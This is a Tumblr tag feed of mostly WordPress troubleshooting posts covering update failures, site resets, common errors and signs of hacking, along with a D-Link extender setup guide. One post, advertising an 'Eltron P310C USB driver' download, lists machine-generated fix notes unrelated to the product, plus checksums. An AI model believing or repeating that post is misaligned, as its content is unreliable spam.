#WP-Admin Access Failure Error | Explore Tumblr posts and blogs

websenor00 · 1 month ago

Text

Troubleshooting WordPress Update Failures: A Guide for Non-Tech Users

Keeping your WordPress website updated is essential for security, performance, and accessing the latest features. But if you’re a non-technical user, update failures can feel frustrating and even a little scary. The good news? You don’t need to be a developer to solve most WordPress update problems.

This guide is designed to walk you through the most common causes of update failures and how to fix them—step by step and in plain language.

Why WordPress Updates Fail

Before we dive into solutions, let’s understand why updates can go wrong. WordPress core, themes, and plugins need to work together like pieces of a puzzle. When one piece doesn’t fit, it can cause update errors. Here are the most common reasons updates fail:

Poor Internet Connection

Plugin Conflicts

Theme Compatibility Issues

Limited Server Resources

File Permission Errors

Corrupt or Partial Update Files

Understanding the cause is the first step toward fixing the problem confidently and safely.

Step-by-Step Fixes for WordPress Update Failures

1. Backup Your Website First

Experience Tip: Always start by backing up your website using a trusted plugin like UpdraftPlus or BackupBuddy. Even if things go wrong, you can restore your site to its previous state.

2. Clear Your Browser and Site Cache

Sometimes, the issue isn’t the update—it’s the cache.

Clear your browser cache.

If you use a caching plugin (like WP Super Cache or W3 Total Cache), clear the site cache too.

Then try the update again.

3. Use Safe Mode with a Plugin

If you suspect a plugin conflict, use a troubleshooting plugin like Health Check & Troubleshooting:

Activate it to enter “troubleshooting mode,” where only WordPress core is active.

Try the update again.

If it works, re-enable your plugins one at a time to find the one causing trouble.

This avoids breaking your live site.

4. Check Your Hosting Environment

Sometimes your web host has limits on memory or file size that cause update failures.

What to do:

Check with your hosting provider about PHP memory limits and execution time.

Many shared hosting plans have low default limits, which can be increased via support or the hosting control panel.

For example, increasing the PHP memory limit to 256MB often fixes update issues.

5. Manually Update WordPress (Simple Method)

If the automatic update fails, you can do a manual update. Don’t worry—it sounds more technical than it is.

Follow these steps:

Download the latest version of WordPress from WordPress.org.

Unzip the file on your computer.

Use an FTP program (like FileZilla) to connect to your website.

Replace the wp-admin and wp-includes folders with the new ones.

Do not touch the wp-content folder—that's where your themes and plugins are.

Visit your WordPress site—if needed, it will prompt you to update the database.

Manual updates are safe if you follow each step carefully.

6. Fix File Permission Issues

WordPress needs permission to write and update files. If permissions are wrong, updates fail.

Use a plugin like WP File Manager or contact your hosting support to:

Set folders to 755

Set files to 644

These are standard permissions that allow WordPress to function properly without compromising security.

7. Disable Maintenance Mode Manually

If your site gets stuck in “Maintenance Mode”, it means a previous update was interrupted.

How to fix:

Log into your hosting account (like cPanel).

Go to the root folder of your WordPress installation.

Delete the file called .maintenance.

Refresh your site—it should load normally now.

When to Ask for Help

If none of the above solutions work or you’re not comfortable making these changes yourself, reach out to:

Your hosting provider’s support team

A trusted WordPress maintenance service

Professional WordPress developers

It’s always okay to ask for help—especially when your business or blog relies on a functioning website.

Conclusion

WordPress update failures can feel overwhelming, especially if you're not tech-savvy—but they don’t have to stop you in your tracks. With the right steps, a little patience, and the willingness to learn, you can solve most update issues on your own.

Always begin with a backup, rule out common problems like plugin conflicts or limited server resources, and don’t hesitate to seek professional help when needed. Keeping your site updated is vital for its security, performance, and future growth.

Remember: every successful fix builds your confidence. The more you understand your WordPress site, the more control you have over your online presence.

If you ever feel stuck or need expert assistance, Websenor is here to help. As a trusted web development and maintenance company, we specialize in making WordPress hassle-free for business owners, bloggers, and entrepreneurs. Reach out to us for reliable support and personalized solutions.

With the right partner like Websenor, managing your website becomes easier—so you can focus on growing your brand, not fixing bugs.

0 notes

wordpresshelperr · 5 years ago

Link

#Fix WordPress Admin Dashboard #WP-Admin Access Failure Error #Cannot log in to WordPress Admin Dashboard #Fix WordPress login issues #How to Fix WordPress login issues #how to fix error establishing a database connection #how to fix error establishing a database connection in wordpress #how to fix wordpress database error #how to solve error establishing a database connection #WordPress development company #Wordpres developers

0 notes

richardsmith74roy · 4 years ago

Text

How do I set up and install my D'Link DAP - 1350 wireless extender?

D'Link DAP 1350 is one the best selling wireless extenders from d'link platform. This D-Link DAP-1350 wireless transfer files at maximum speed of upto 300 Mbps which provides ultimate high speed to your wireless devices. With the help of D'Link setup wizard, you can easily set up your new d'link extender on your existing home network without any failure. This D'Link setup process only takes five to ten minutes. Dlinkap.local and dlinkap is the default address for D'Link extender configuration page. By login into dlinkap.local web page, you can change all the basic and advanced settings of your dlink extender such as setup new WiFi name and WiFi password, change WiFi security settings to secure your extender network, proxy settings etc. Dlink comes with (WPA-PSK/WPA2-PSK) encryption which helps to secure the network from unauthorized usage. This extender is designed to provide high performance networking and for bigger space. There are three ways to set up and install d'link extenders such as Access point mode, wireless client mode, Router and you can use it according to your need. If you are not with wireless network information then please contact the support team to get more info on it.

Hardware Overview ( Front)

Power LED

Wireless LED

WAN/LAN LED

Hardware Overview ( Side)

WPS Button/ LED

USB Port

Reset Button ( Bottom)

Package contains

Power adapter

One Ethernet cable (Blue colored)

CD-ROM

USB cable

Pocket router/ access point

Notes and Tips before starting the D'Link extender setup

Use a provided power adapter only for the extender.

Do not use extensions for power sources.

For Dlinkap.local web based extender configuration, use chrome 2.0, internet explorer 6.0, Safari 3.0, Firefox 3.0 higher.

Do not use the press reset button in between the setup process.

Dlinkap.local is the default web address for d'link web management pages.

Always keep your router and extender from electronic devices.

Place the device at the right place to get the best performance.

Steps to set up and install my D'Link DAP - 1350 wireless extender

This step by step guide will give you instructions on how to set up your D'Link DAP-1350 extender through dlinkap.local web utility.

Set AP Mode - On the back side of your dlink extender, you will see the mode selector button. You need to set this button to AP mode.

Connect device - Now please connect your computer to the Dlink extender through ethernet cable. To connect, please get a provided ethernet cable and plug in into the LAN port of the extender and plug in the other end into the ethernet port of your device.

Open dlinkap.local web page - Please open the web browser of your computer and type dlinkap.local or www.dlinkap.local on the top of the page. You can also type dlinkap to get the D'Link web utility page.

Login page - Now you will see dlinkap login window to enter username and password. The default username is “admin” in lowercase and there is no default password for dlink routers and extender. You can leave the password field black, please click on login to continue.

Setup Wizard Setup page - On this Setup page, please click on “Launch Wireless Setup Wizard “ to continue.

Set Device name - You can give the name to your dlink network by typing in Device name field. Click On Next to carry on.

Set a new admin password - On this screen, you can set a new admin password which you can use later to access the dlinkap.local or dlinkap page. We highly recommend setting a new admin password to secure your extender network. Please note that this admin is not for connecting devices, this admin is only to access dlink.local web page. Hit on Next to continue.

Select Configuration method - Now you will need to click on Auto option to get the next page. Please note that Manual option is only to set up your extender manually.

On the welcome page of D'Link Setup wizard, you can see the Wireless Network Name, Wireless Security Mode and Network Key ( WiFi password). Click on the Next button to complete the D'Link DAP 1350 setup task.

You can change the Wireless Network Name, Wireless Security Mode and Network Key ( WiFi password) setting by login again into dlinkap.local and dlinkap web utility page. Now you can use this WiFi network settings to connect your wireless device on your D-link extender.

Some common issues while setting up your D'Link DAP-1350 extender through dlinkap.local web utility.

Dlinkap.local or dlinkap web page not working.

Showing “internet not connected” page.

Error like 404 or 504.

Not getting the D'Link setup wizard.

Please contact the technical team if you have any issues with the D'Link DAP-1350 Extender setup.

#dlinkap.local #dlink login #d'link router login #dlinkap

0 notes

jeannejcooper76 · 6 years ago

Text

How to Reset a WordPress Install

Are You Looking for a Way to Reset Your WordPress Website? Perhaps You Wish to Start from Scratch? While There Isn’t an In-Built WordPress ‘Reset’ Button, Admin are able to Reset their Website Either Manually or Through the Use of a Plugin.

In this tutorial we’ll take a look at how a WordPress install can be reset to it’s original settings. Resetting a WordPress website means all data will be lost so it’s important to back up your site if there is any information worth saving. Effectively, resetting a WP installs means that all data bases and files are returned to their original state or commonly referred to as their factory settings.

Resetting a WordPress install can be completed by following the instructions below, or watching our video tutorials. Using the WP Reset plugin is an efficient way of resetting for those without developer knowledge, while using cPanel is generally the preferred way by WordPress enthusiasts.

Why do WordPress Users Choose to Reset their Website?

Resetting a WordPress website means returning all the files and databases to their original state. While this is ideal for those wishing to start fresh, it also means that all content that was previously on the website will no longer be accessible.

You may have created a number of test posts or pages and now wish to start with a clean slate for a live website. Completing a full website reset can be an efficient way of ‘cleaning up’ to start building your live site after testing is complete.

While not every WordPress user will want to reset their website, for those landing on this page, they have most likely found themselves in one of the situations below.

There are a number of reasons why someone would want to reset their WordPress website:

The website is to be used for a different project

The site was used for staging or demonstrating

Wish to use the same domain for a new business adventure

The owner wishes to restore the site from a previous backup

The owner is seeing many errors on a recently new website and feels the best way to overcome these errors is a complete reset

The WordPress website cannot be accessed due to a failure and admin has previously saved a backup

What is Entailed in a Website Reset?

Depending on how you reset your WordPress will dictate if it will be a complete reset meaning all settings and files are lost or a partial reset. For example, using the ‘WP Reset‘ plugin, you can dictate whether or not your plugins are reactivated after a reset or not.

If you wish to use any data that was previously stored on your site (in the database tables) now is the time to complete a backup of your website.

How to Reset a WordPress Install

The instructions below can be completed to reset a WordPress website. Please note that by completing a reset you will not be able to retrieve information that may have been previously saved on your site. It is important prior to resetting your WordPress website that you back up any information you wish to use in the future.

Method 1) Resetting My WordPress Install with a Plugin

Video Tutorial: Using a Plugin to Reset My WordPress

youtube

Written Tutorial: Using a Plugin to Reset My WordPress

This is the best way to reset WordPress for those who aren’t that WordPress savvy. Using a plugin to reset your WordPress can be hassle free and means you will never need to leave your WordPress dashboard. While this way is effective, it means that you will still need to have access to your WordPress site.

Step 1) From your WordPress dashboard, click on the Plugins menu and then on ‘add new‘. Search for the following plugin: WP Reset. Step 2) ‘Install‘ and ‘Activate‘ the WP Reset Plugin (Please note: This is not a TTHQ plugin).

Step 3) Now click on the ‘Tools‘ menu in your WordPress Dashboard. Step 4)Under ‘Tools‘ click on the sub-menu; WP Reset. Step 5) Read the text to ensure you wish to reset your WordPress. If you are happy to go ahead and reset, type the word ‘Reset‘ in the field towards the bottom. Also specify any ‘Post-reset Actions‘ that you wish to occur. Step 6) Click the ‘Reset WordPress‘ button. Step 7) Click the ‘Reset WordPress‘ button again to confirm a full reset.

You have now completed a reset of your WordPress website.

Further WordPress Database Reset Plugins

While our procedure above outlines how to use the WP Reset Plugin to achieve a WordPress Reset, there are a number of other plugins that can also do the trick. If you find WP Reset is not working on your website, checkout some of the following WordPress.Org Reset Plugins:

Advanced WordPress Reset

Reset WP

WordPress Reset

Method 2) Resetting WordPress Install without the Use of a Plugin

To reset your WordPress install without the use of a plugin you will need to have access to your website’s cPanel (or similar). The details needed to access your WordPress database can be obtained from your hosting provider.

This method is said to be the harder method of the two, although by following the instructions below even someone without developer knowledge should be able to reset their WordPress account.

Using cPanel to Reset a WordPress Website

Step 1) Log in to your ‘cPanel‘ account for the WordPress install that you wish to reset. Step 2) Once you have logged into cPanel, click on the ‘MySQL Databases‘ button located under the ‘Databases‘ section.

Step 3) Find the name of the database in question and ensure you copy and paste the name of it into a notepad. You’ll need this later. Step 4) From the actions column, click the ‘Delete‘ button for the database you wish to reset. This will delete that WordPress database so ensure if you wished to save any of that data, you did that prior to clicking delete.

Step 5) Now you will not be able to access your WordPress website until the following steps are completed. Step 6) At the top of that same page, you’ll need to ‘Recreate‘ that database. Paste the name of the database from your notepad into the ‘Create Database‘ field. If you do not copy and paste the name of your previous database correctly, the reset will not work. Step 7) Click the ‘Create Database‘ button. This database should now appear under the ‘Current Databases‘ section.

Step 8) You will now need to add back the admin user to be able to access that database. You will need to use the exact same username and password as you used previously otherwise the file won’t recognize the new database.

Step 9) You have now added the database back and created your admin user. With this method the themes, uploads and plugins you had will not be deleted. If you wish to delete them to start fresh with a new feel WordPress site, you’ll need to head to the ‘wp-content‘ directory in the WordPress root folder. From there you can delete the files under: Plugins, Theme and Uploads. It is recommended to leave one theme. Step 10) This is the final step in the reset process. You’ll need to copy your website’s primary URL and add it to the following in the browser /wp-admin/install.php. For example: https://plugin-demo.com/wp-admin/install.php. It will ask you to fill in your login details here. This is the last crucial step to resetting your WordPress website.

The post How to Reset a WordPress Install appeared first on Tips and Tricks HQ.

How to Reset a WordPress Install shared from Tipsandtricks-HQ

How to Reset a WordPress Install shared from Aileen Batts Blog

0 notes

aileenmbatts · 6 years ago

Text

How to Reset a WordPress Install

Why do WordPress Users Choose to Reset their Website?

While not every WordPress user will want to reset their website, for those landing on this page, they have most likely found themselves in one of the situations below.

There are a number of reasons why someone would want to reset their WordPress website:

The website is to be used for a different project

The site was used for staging or demonstrating

Wish to use the same domain for a new business adventure

The owner wishes to restore the site from a previous backup

The owner is seeing many errors on a recently new website and feels the best way to overcome these errors is a complete reset

The WordPress website cannot be accessed due to a failure and admin has previously saved a backup

What is Entailed in a Website Reset?

If you wish to use any data that was previously stored on your site (in the database tables) now is the time to complete a backup of your website.

How to Reset a WordPress Install

Method 1) Resetting My WordPress Install with a Plugin

Video Tutorial: Using a Plugin to Reset My WordPress

youtube

Written Tutorial: Using a Plugin to Reset My WordPress

Step 3) Now click on the ‘Tools‘ menu in your WordPress Dashboard. Step 4)Under ��Tools‘ click on the sub-menu; WP Reset. Step 5) Read the text to ensure you wish to reset your WordPress. If you are happy to go ahead and reset, type the word ‘Reset‘ in the field towards the bottom. Also specify any ‘Post-reset Actions‘ that you wish to occur. Step 6) Click the ‘Reset WordPress‘ button. Step 7) Click the ‘Reset WordPress‘ button again to confirm a full reset.

You have now completed a reset of your WordPress website.

Further WordPress Database Reset Plugins

Advanced WordPress Reset

Reset WP

WordPress Reset

Method 2) Resetting WordPress Install without the Use of a Plugin

This method is said to be the harder method of the two, although by following the instructions below even someone without developer knowledge should be able to reset their WordPress account.

Using cPanel to Reset a WordPress Website

The post How to Reset a WordPress Install appeared first on Tips and Tricks HQ.

How to Reset a WordPress Install shared from Tipsandtricks-HQ

0 notes

mojomediapro · 5 years ago

Text

Common WordPress Errors

WordPress offers you plenty of benefits when you use it, however, it produces errors that limit its wonderful experience.

Are you worried about the errors displaying on your site?

If so, you should know that the error on your website has probably been reported and resolved by others.

WordPress produces a lot of errors and the list below contains the common WordPress errors.

So, before you proceed, to knowing the common WordPress errors and their fixes, backup your site.

Internal Server Error

This type of error displays on your site to indicate something wrong.

Sometimes it appears as ‘500 internal Server Error’, so, whichever the case, it means the same thing.

When this error appears, it means that there is something wrong and the server finds it difficult to point its origin.

Due to that, you are responsible for figuring out how to go about it.

Therefore, you can try the following solutions, one at a time.

Check if your .htaccess file is corrupt

Try to Increase the PHP Memory Limit

Deactivate all the plugins installed on your site.

Freshly upload your site’s core files

Last but not least, contact your hosting provider

The Site is experiencing technical difficulties.

This type of error comes as a result of any error in our list.

WordPress developers put in place a fatal error protection feature as from WordPress version 5.2.

So, WordPress now sends an email notification to your admin dashboard using your admin email address.

The email comes with a link which aids in accessing the backend so that you can attempt and fix the error.

However, the process of fixing becomes harder when you don’t have access to your admin email or not able to receive WordPress emails.

Syntax Error

This kind of error occurs as a result of added code snippets into WordPress, an accidentally missed something needed or even an incorrect syntax.

Lucky enough, the error indicates the code or problem and the location as well.

Due to that, you can correct the syntax, don’t be shocked because, mostly, a missing bracket can trigger this error.

Sometimes an unexpected character may cause this error, therefore, edit the code and use the right characters.

Error establishing a database connection

When you encounter such an error, you should know that your website is unable to link with the database.

However, the process of solving such an error seems tricky for beginners.

What causes this error, right?

Normally, this error occurs when you enter or modify your database login credentials.

Sometimes, an unresponsive database may trigger this error.

In addition to that, a corrupt database can trigger the error.

So, use the right credentials to access your database or repair your WordPress database.

You can also check with if the database server is down or update WordPress site URL.

Lastly, reboot the webserver or even contact your hosting company.

404 page not found error

When this error occurs, users still browse on the other sections such as the admin area.

However, they cannot browse through a single post.

Mostly, the permalink settings in WordPress causes this kind of error.

Therefore, to solve this kind of problem you need to reconfigure the permalink settings.

Additionally, you can manually update the rewrite rules, for instance, updating your .htaccess file.

White Screen of death

This error may affect one or certain sections of the site.

This type of error displays no error message hence making it very hard to know its origin.

Sometimes, incorrect server configurations may trigger this error.

However, in most cases, it happens due to a script exhausting the PHP memory limit.

Therefore, solving this error needs you to extend or increase the PHP memory limit and check for server configurations.

WordPress Memory Exhausted Error

WordPress core actually uses PHP as the server-side programming language.

Just like your computer needs memory to function properly, the same applies to webservers.

Therefore, this site also needs memory just like any other site.

So, when you encounter this error, it means that your WordPress code needs more memory than the allocated default value.

How do you fix this type of error, right?

Simply, open, edit and define the memory limit in your ‘wp-config.php’ file located under your WordPress site’s root folder.

‘’Are you sure you want to do this?’’ error

This kind of error usually occurs in your admin area, however, that should not worry you.

Mostly, this error arises due to failures in the proper use of Nonce.

In other words, the error occurs if your plugins or themes fail to properly use Nonce (Special security keys).

Therefore, you need to investigate your themes or plugins to fix the error.

Briefly Unavailable for Scheduled Maintenance in WordPress

This error shows on your screen as a result of unfinished or interrupted WordPress Update.

When this error occurs, it entirely locks your site hence making the site unavailable for both admins and visitors.

Since this error comes as a result of slow server response or low memory issues, upgrading to higher hosting plans can be a great fix.

However, you can delete the ‘’. maintenance’’ file in your site’s root directory using FTP.

Sometimes, you may not find the ‘’. maintenance’’ file, therefore, always check for hidden files.

WordPress RSS Feed Errors

RSS Feeds enable your site’s visitors to subscribe to your blog.

Mostly, this kind of error occurs due to poor formatting and the error message may vary depending on your Browser.

That said, even a blank space in your closing PHP tag can trigger the error.

In other words, you can solve this error by writing correct PHP code or check your plugins or themes ‘’functions.php’’ file.

Also, you can disable RSS Feed related plugins and if that doesn’t work as well, temporarily switch to the default theme.

403 Forbidden error

This type of error normally occurs due to lack of permissions granted by your server.

When your server restricts your access, you don’t get access to specific pages.

However, you may encounter such an error due to other factors.

For instance, poor coded security plugins, server configurations and incorrect file permissions can trigger this error.

How do you go about it, right?

Actually, you need to disable your plugins, repair corrupted ‘’.htaccess’’ file or even contact your hosting company for correct file permissions.

‘’The page isn’t redirecting properly’’ error

This type of error normally occurs as a result of misconfigured redirections problems.

Since WordPress features SEO friendly URL structures for redirect functions, other WordPress plugins follow the trend.

Therefore, any misconfigured redirect tool causes this type of error.

In other words, your site may redirect users to a URL which redirects them back to the original URL.

So, what does that mean?

Actually, when that happens, your visitors’ browser gets trapped between two webpages hence resulting into a redirect loop.

To resolve this issue, simply change your WordPress Address and website address.

For instance, add or remove the www prefix on your addresses.

In other words, if your addresses contain the www prefix, remove it, if not, add the prefix, then save changes.

Also, you can define the changes in ‘’wp-config.php’’ file or even try deactivating all plugins and install fresh copies as you counter check for the error.

502 Bad Gateway error

This kind of error usually appears when a user sends the server a request but it takes lots of time to get the feedback.

Also, the error occurs due to poor server misconfigurations and poorly coded themes or plugins.

However, glitches resulting from high traffic trigger this error.

Therefore, to fix this problem, you need to reload your browser, and if it doesn’t work, clear your browser’s cache.

Try to disable the Firewalls or CDN, update your site’s themes and plugins, or contact your hosting provider.

Conclusion

WordPress produces many errors; however, the list above contains some of the most common errors.

Most of the errors described above occur due to similar causes, however, they slightly vary.

Therefore, you need to actually know what type of error appears on your end for proper fixes.

from MojoMedia.Pro https://www.mojomedia.pro/common-wordpress-errors/

0 notes

icjprivateprogramsarchive-blog · 5 years ago

Text

DOWNLOAD ELTRON P310C USB DRIVER

Uploader: Hero Operating Systems: Windows NT/2000/XP/2003/2003/7/8/10 MacOS 10/X File Version: 416191257 File Format: exe Price: Free Download Type: http Downloads: 2368 Date Added: 05 January, 2020 File Name: eltron p310c usb driver File Size: 23 Mb

What's New: - Fixed wrong "Memory Used" numbers in the "About NetWaiting" window. - Fixed a bug causing crashes on FFXIV and Little Nightmares on Radeon RX 300 Series graphics products. - Fixed bug for "uploaded 0KB motion detection video clips to the SD card, when SD card is full." 9. - Bug Fixes[SMB] - Fixed a bug(eltron p310c usb driver bug) where the access-restricted folder reserved for admin users cannot be accessed after initializing settings. - Fixed WPS Push and Pin issue. - Fixed a bug where syncing(eltron p310c usb driver syncing) the first file failed when replication was run after 8 hours without any file operations in the replication source folder. - Settings: Fixed a bug where invalid error message was displayed if a non-admin user was logged in to Settings and a specific operation was made. - Fixed failure of detection of fan(eltron p310c usb driver fan) of Intel's boxed CPU.# Fixed failure of booting from USB devices. - Fixes Fn+F5 can not switch display device(eltron p310c usb driver device) when system without Launch Manager in WinXP. - Email Notification]: Fixed a bug(eltron p310c usb driver bug) where the authentication settings were kept even if the authentication was disabled. Users content: When you recycle power, power off the switcher for at least four seconds, then restore power. Also, check with our website as often as possible in order to stay up to date with latest releases. Added Features or Enhancements: - Improves your player's playback performance of WMA (.wma) files. Configuration migration now supports config files (.nas_config) that are password-protected. Enhance compatibility with 3DLabs Wildcat VP760 XGA card. On the MGP Pro Configuration tab, select Firmware Upgrade from the sidebar menu to display the Firmware Upgrade page. Support Huawei K3770 USB Modem. SharePort Mobile with Android 4.0 supported. Supports LE series CPU. Added:- Option to create folders through the EDIT menu. ENGT430 DOWNLOAD DRIVER Supported OS: Microsoft Windows 8.1 Enterprise (64-bit) Microsoft Windows 8.1 Enterprise (32-bit) Windows Server 2016 Microsoft Windows 8 (64-bit) Microsoft Windows 8 Enterprise (32-bit) Windows Server 2003 32-bit Windows 8.1/8/7/Vista 64-bit Windows 8.1/8/7/Vista 32-bit Windows 2000 Microsoft Windows 8.1 Pro (64-bit) Microsoft Windows 8.1 Pro (32-bit) Windows Vista 32-bit Microsoft Windows 10 (32-bit) Microsoft Windows 8.1 (64-bit) Windows XP 64-bit Notebook 8.1/8/7 32-bit Microsoft Windows 8 Pro (64-bit) Microsoft Windows 10 (64-bit) Windows Server 2008 Windows 7 32-bit Windows 7 Windows Server 2003 64-bit Notebook 8.1/8/7 64-bit Windows Server 2008 R2 Windows Server 2012 R2 Windows 7 64-bit Windows 8.1 Windows 8 Microsoft Windows 8 (32-bit) Windows XP 32-bit Windows Vista 64-bit Microsoft Windows 8 Pro (32-bit) Windows Server 2012 Windows 10 Microsoft Windows 8 Enterprise (64-bit) Microsoft Windows 8.1 (32-bit) Searches: eltron p310c usb Rvy867-vyj; eltron p310c usb R86v; eltron p310c usb R RY867-8; eltron p310c usb driver for Microsoft Windows 10 (32-bit); eltron p310c usb driver for Windows 7 32-bit; eltron p310c usb RYVZS8670; eltron p310c usb driver for Microsoft Windows 8 Enterprise (32-bit); eltron p310c usb driver for Windows Server 2003 32-bit; eltron p310c usb driver for Microsoft Windows 8.1 Pro (64-bit); eltron p310c usb RY8670; p310c driver usb eltron Compatible Devices: Keyboards; Computer Cable Adapters; Soundcard; Wifi router; Ipad; Samsung To ensure the integrity of your download, please verify the checksum value. MD5: 48d52f7b4dc82e9da2806c2c3c86a8e5 SHA1: b4a73dbcccc61d78b8b88ed93be0fb15e7d9ecab SHA-256: 345057faf80775886c48b6abc67ff25a8ca31f58c53fa45d6eb922453c13f9a2

0 notes

yourcodesupport-blog · 6 years ago

Text

WP- How to Fix the WordPress Failed to Open Stream Error

Are you seeing the ‘failed to open stream’ error in WordPress? This error usually points out the location of the scripts where the error has occurred. However, it is quite difficult for beginner users to understand it. In this article, we will show you how to easily fix the WordPress failed to open stream error.

Why Failed to Open Stream Error Occurs?

Before we try to fix the error, it would be helpful to understand what causes the ‘Failed to open stream’ error in WordPress.

This error occurs when WordPress is unable to load the file mentioned in website code. When this error occurs, sometimes WordPress will continue loading the site and only show a warning message, while other times WordPress will show a fatal error and will not load anything else.

The message phrasing will be different depending on where the error occurs in the code and the reason for failure. It will also give you clues about what needs to be fixed.

Typically, this message would look something like this:

123

Warning:

require

(/home/website/wp-includes/load.php): failed to open stream: No such file

directory in /home/website/wp-settings.php on line 19

Fatal error:

require

(): Failed opening required ‘/home/website/wp-includes/load.php’ (include_path=’.:/usr/share/php/:/usr/share/php5/’) in /home/website/wp-settings.php on line 19

Here is another example:

Last Error: 2018-04-04 14:52:13: (2) HTTP Error: Unable to connect: ‘

fopen

(compress.zlib:

//https://www.googleapis.com/analytics/v3/management/accounts/~all/webproperties/~all/profiles?start-index=1): failed to open stream: operation failed’

Having said that, let’s take a look at how to troubleshoot and fix ‘failed to open stream’ error in WordPress.

Fixing Failed to Open Stream Error in WordPress

As we mentioned earlier, the error can be caused by a variety of reasons and the error message will be different depending on the cause and location of the file that’s causing the error.

In each instance, failed to open stream phrase would be followed by a reason. For example, permission denied, no such file or directory, operation failed, and more.

Now if your error message contains ‘no such file or directory’, then you need to look in the code to figure out which file is mentioned at that particular line.

If it is a plugin or theme file, then this means that the plugin or theme files were either deleted or not installed correctly. Simply deactivate and reinstall the theme / plugin in question to fix the error.

However, it is also possible that WordPress is unable to locate the files because of a missing .htaccess file in your root folder. In that case, you need to go to Settings » Permalinks page in your WordPress admin and just click on the ‘Save changes’ button to regenerate the .htaccess file.

If the error message is followed by ‘Permission denied’, then this means that WordPress does not have the right permission to access the file or directory referenced in the code.

To fix this, you need to check WordPress files and directory permissions and correct them if needed.

Lastly, some WordPress plugins load scripts from third-party sources like Google Analytics, Facebook APIs, Google Maps, and other third-party APIs.

Some of these APIs may require authentication or may have changed the way developers can access them. A failure to authenticate or incorrect access method will result in WordPress failing to open the required files.

To fix this, you will need to contact the plugin author for support. They will be able to help you fix the error.

If none of these tips help you resolve the issue, then follow the steps mentioned in our WordPress troubleshooting guide. This step by step guide will help you pinpoint the issue, so you can easily find the solution.

We hope this article helped you fix the WordPress ‘failed to open stream’ error.

0 notes

wordpressservices-blog · 8 years ago

Text

Is Your WordPress Site is Hacked

Sudden Drop in Website TrafficDrop in website traffic

If you look at your Google Analytics reports and see a sudden drop in traffic, then this could be a sign that your WordPress site is hacked. There are many malware and trojans out there that hijack your website’s traffic and redirect it to spammy websites. Some of them don’t redirect logged in users which allows them to go unnoticed for a while. Another reason for the sudden drop in traffic is Google’s safe browsing tool, which might be showing warnings to users regarding your website. Each week, Google blacklists around 20,000 websites for malware and around 50,000 for phishing. That’s why every blogger and business owner needs to pay serious attention to their WordPress security. You can check your website using the Google’s safe browsing tool to see your safety report.

Bad Links Added to Your WebsiteSpam and malware injection

One of the most common signs among hacked WordPress sites is data injection. Hackers create a backdoor on your WordPress site which gives them access to modify your WordPress files and database. Some of these hacks add links to spammy websites. Usually these links are added to the footer of your website, but they really could be any where. Deleting the links will not guarantee that they will not come back. You will need to find and fix the backdoor used to inject this data into your website. See our guide on how to find and fix a backdoor in a hacked WordPress site.

Your Site’s Homepage is Defaced website

homepage defaced after hacking This is probably the most obvious one as it is clearly visible on the homepage of your website. Most hacking attempts do not deface your site’s home page because they want to remain unnoticed for as long as possible. However, some hackers may deface your website to announce that it has been hacked. Such hackers usually replace your homepage with their own message. Some hackers may even try to extort money from site owners.

You are Unable to Login to WordPress

If you are unable to login to your WordPress site, then there is a chance that hackers may have deleted your admin account from WordPress. Since the account doesn’t exist, you would not be able to reset your password from the login page. There are other ways to add an admin account using phpMyAdmin or via FTP. However, your site will remain unsafe until you figure out how a hacker got into your website.

Suspicious User Accounts in WordPress

Suspicious user accounts in WordPress If your site is open to user registration, and you are not using any spam registration protection, then spam user accounts are just common spam that you can simply delete. However, if you don’t remember allowing user registration and notice new user accounts in WordPress, then your site is probably hacked. Usually the suspicious account will have administrator user role, and in some cases you may not be able to delete it from your WordPress admin area.

Unknown Files and Scripts on Your Server

Unknown files and scripts in WordPress folders If you’re using a site scanner plugin like Sucuri, then it will alert you when it finds an unknown file or script on your server. You need to connect to your WordPress site using a FTP client. The most common place where you will find malicious files and scripts is the /wp-content/ folder. Usually, these files are named like WordPress files to hide in plain sight. Deleting these files immediately will not guarantee that these files will not return. You will need to audit the security of your website specially file and directory structure.

Slow or unresponsive website

All websites on internet can become victims of random denial of service attacks. These attacks use several hacked computers and servers from all over the world using fake ips. Sometimes they are just sending too many requests to your server, other times they are actively trying to break into your website.

Any such activity will make your website slow, unresponsive, and unavailable. You will need to check your server logs to see which ips are making too many requests and block them.

It is also possible that your WordPress site is just slow and not hacked. In that case, you need to follow our guide to boost WordPress speed and performance.

Unusual Activity in Server Logs

Server logs

Server logs are plain text files stored on your web server. These files keep record of all errors occurring on your server as well as all your internet traffic. You can access them from your WordPress hosting account’s cPanel dashboard under statistics. serverlogscpanel These server logs can help you understand what’s going on when your WordPress site is under attack. They also contain all the ip addresses used to access your website which allows you to block suspicious ip addresses.

Failure to Send or Receive WordPress Emails

Email errors in WordPress

Hacked servers are commonly used for spam. Most WordPress hosting companies offer free email accounts with your hosting. Many WordPress site owners use their host’s mail servers to send WordPress emails. If you are unable to send or recieve WordPress emails, then there is a chance that your mail server is hacked to send spam emails.

Suspicious Scheduled Tasks

Suspicious scheduled tasks

Web servers allow users to set up cron jobs. These are scheduled tasks that you can add to your server. WordPress itself uses cron to setup scheduled tasks like publishing scheduled posts, deleting old comments from trash, and so on. A hacker can exploit cron to run scheduled tasks on your server without you knowing it.

Hijacked Search Results

If the search results from your website show incorrect title or meta description, then this is a sign that your WordPress site is hacked. Looking at your WordPress site, you will still see the correct title and description. The hacker has again exploited a backdoor to inject malicious code which modifies your site data in a way that it is visible only to search engines.

Popups or Pop Under Ads on Your Website

Spam popup ads

These types of hacks are trying to make money by hijacking your website’s traffic and showing them their own spam ads for illegal websites. These popups do not appear for logged in visitors or visitors accessing a website directly. They only appear to the users visiting from search engines. Pop under ads open in new window and remain unnoticeable by users. Securing and Fixing Your Hacked WordPress Site

Cleaning up a hacked WordPress site can be incredibly painful and difficult.

This is why we recommend you to let experts clean up your website. We use Sucuri to protect all our websites. See how Sucuri helped us block 450,000 WordPress attacks in 3 months.

It comes with 24/7 website monitoring and a powerful website application firewall, which blocks attacks before they even reach your website. Most importantly, they clean up your website if it ever gets hacked.

If you want to clean up your site on your own, then take a look at our beginner’s guide on fixing a hacked WordPress site. You should also check out our ultimate WordPress security guide to follow the best practices and protect your site.

0 notes

iyarpage · 8 years ago

Text

Penetration Test Training – LazySysAdmin: 1 (vanilla style)

and Kai Herings

Good morning everyone…

